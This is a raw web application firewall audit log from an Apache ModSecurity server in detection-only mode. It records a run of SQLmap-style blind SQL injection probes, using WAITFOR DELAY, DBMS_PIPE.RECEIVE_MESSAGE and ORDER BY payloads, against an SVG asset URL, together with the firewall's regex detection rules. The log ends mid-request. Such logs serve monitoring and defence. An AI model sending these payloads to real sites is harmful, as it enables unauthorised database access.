"(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687') WAITFOR DELAY '0:0:5' AND ('yERz'='yERz found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88z3ZqyQ8YfVGvJU7YVwAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and ('yerz'='yerz found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') waitfor delay '0:0:5' and ('yerz'='yerz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88z3ZqyQ8YfVGvJU7YVwAAAAY"] Stopwatch: 1750023375380593 5484 (- - -) Stopwatch2: 1750023375380593 5484; combined=3590, p1=333, p2=3073, p3=32, p4=27, p5=125, sr=84, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --acf3e22a-Z-- --65512b27-A-- [16/Jun/2025:03:06:15.900590 +0530] aE88z9kGqt_oHz6gRVdIrwAAAAw 172.70.247.167 33462 127.0.0.1 7081 --65512b27-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27QJjF%27%3D%27QJjF HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.247.167 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533b16d4137d8-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --65512b27-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --65512b27-E-- --65512b27-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27QJjF%27%3D%27QJjF"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;*? ?waitfor (?:delay|time) [\\x22'`]|;.{0,399}?: ?goto)|\\balter ?\\w+.{0,399}?\\bcha(?:racte)?r set \\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687' WAITFOR DELAY '0:0:5' AND 'QJjF'='QJjF found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687' WAITFOR DELAY '0:0:5' AND 'QJjF'='QJjF found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and 'qjjf'='qjjf found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' waitfor delay '0:0:5' and 'qjjf'='qjjf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27QJjF%27%3D%27QJjF"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88z9kGqt_oHz6gRVdIrwAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;*? ?waitfor (?:delay|time) [\\\\\\\\x22'`]|;.{0,399}?: ?goto)|\\\\\\\\balter ?\\\\\\\\w+.{0,399}?\\\\\\\\bcha(?:racte)?r set \\\\\\\\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687' WAITFOR DELAY '0:0:5' AND 'QJjF'='QJjF found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88z9kGqt_oHz6gRVdIrwAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687' WAITFOR DELAY '0:0:5' AND 'QJjF'='QJjF found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88z9kGqt_oHz6gRVdIrwAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and 'qjjf'='qjjf found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' waitfor delay '0:0:5' and 'qjjf'='qjjf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88z9kGqt_oHz6gRVdIrwAAAAw"] Stopwatch: 1750023375893107 7612 (- - -) Stopwatch2: 1750023375893107 7612; combined=5423, p1=465, p2=4636, p3=54, p4=32, p5=236, sr=118, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --65512b27-Z-- --cb9fba07-A-- [16/Jun/2025:03:06:16.423665 +0530] aE880IrLgrklqy57Kk2b3gAAAAg 172.71.164.61 33498 127.0.0.1 7081 --cb9fba07-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20AND%206497%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2888%29%7C%7CCHR%2876%29%7C%7CCHR%2883%29%7C%7CCHR%28104%29%2C5%29%20AND%20%282189%3D2189 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.61 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533b4a8613808-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --cb9fba07-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --cb9fba07-E-- --cb9fba07-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and (2189=2189 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and (2189=2189"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and (2189=2189 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and (2189=2189"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE880IrLgrklqy57Kk2b3gAAAAg"] Stopwatch: 1750023376417900 5882 (- - -) Stopwatch2: 1750023376417900 5882; combined=3647, p1=489, p2=2965, p3=40, p4=37, p5=116, sr=125, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cb9fba07-Z-- --603b9051-A-- [16/Jun/2025:03:06:17.434004 +0530] aE880fkun2jazaBvM9ttuQAAAAE 172.70.246.211 33548 127.0.0.1 7081 --603b9051-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20AND%206497%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2888%29%7C%7CCHR%2876%29%7C%7CCHR%2883%29%7C%7CCHR%28104%29%2C5%29--%20Cncp HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.246.211 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533bb0c5bdcae-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --603b9051-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --603b9051-E-- --603b9051-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5)-- cncp found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5)-- cncp"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5)-- cncp found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5)-- cncp"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE880fkun2jazaBvM9ttuQAAAAE"] Stopwatch: 1750023377427503 6588 (- - -) Stopwatch2: 1750023377427503 6588; combined=4835, p1=259, p2=4415, p3=36, p4=32, p5=93, sr=71, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --603b9051-Z-- --f5d98d2a-A-- [16/Jun/2025:03:06:17.949411 +0530] aE880YrLgrklqy57Kk2b3wAAAAg 172.71.172.65 33586 127.0.0.1 7081 --f5d98d2a-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20AND%206497%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2888%29%7C%7CCHR%2876%29%7C%7CCHR%2883%29%7C%7CCHR%28104%29%2C5%29%20AND%20%28%27stpF%27%3D%27stpF HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.65 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533be396ddcc6-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --f5d98d2a-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --f5d98d2a-E-- --f5d98d2a-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and ('stpf'='stpf found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and ('stpf'='stpf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and ('stpf'='stpf found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and ('stpf'='stpf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE880YrLgrklqy57Kk2b3wAAAAg"] Stopwatch: 1750023377943705 5809 (- - -) Stopwatch2: 1750023377943705 5809; combined=3847, p1=356, p2=3323, p3=35, p4=37, p5=96, sr=97, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f5d98d2a-Z-- --b815b41f-A-- [16/Jun/2025:03:06:18.449736 +0530] aE880giLzf5Jb_3uGhHfiAAAAAA 162.158.111.230 33608 127.0.0.1 7081 --b815b41f-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20AND%206497%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2888%29%7C%7CCHR%2876%29%7C%7CCHR%2883%29%7C%7CCHR%28104%29%2C5%29%20AND%20%27YFGv%27%3D%27YFGv HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.230 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533c16d03d3a0-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --b815b41f-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --b815b41f-E-- --b815b41f-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and 'yfgv'='yfgv found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and 'yfgv'='yfgv"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and 'yfgv'='yfgv found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 6497=dbms_pipe.receive_message(chr(88)||chr(76)||chr(83)||chr(104),5) and 'yfgv'='yfgv"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE880giLzf5Jb_3uGhHfiAAAAAA"] Stopwatch: 1750023378443898 5929 (- - -) Stopwatch2: 1750023378443898 5929; combined=3963, p1=395, p2=3424, p3=33, p4=27, p5=84, sr=104, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b815b41f-Z-- --03b68c71-A-- [16/Jun/2025:03:06:18.949107 +0530] aE880se_3eHPNozq0G0OsgAAAAU 172.71.148.33 33642 127.0.0.1 7081 --03b68c71-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20ORDER%20BY%201--%20VPtZ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.33 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533c48c8eb19e-FRA 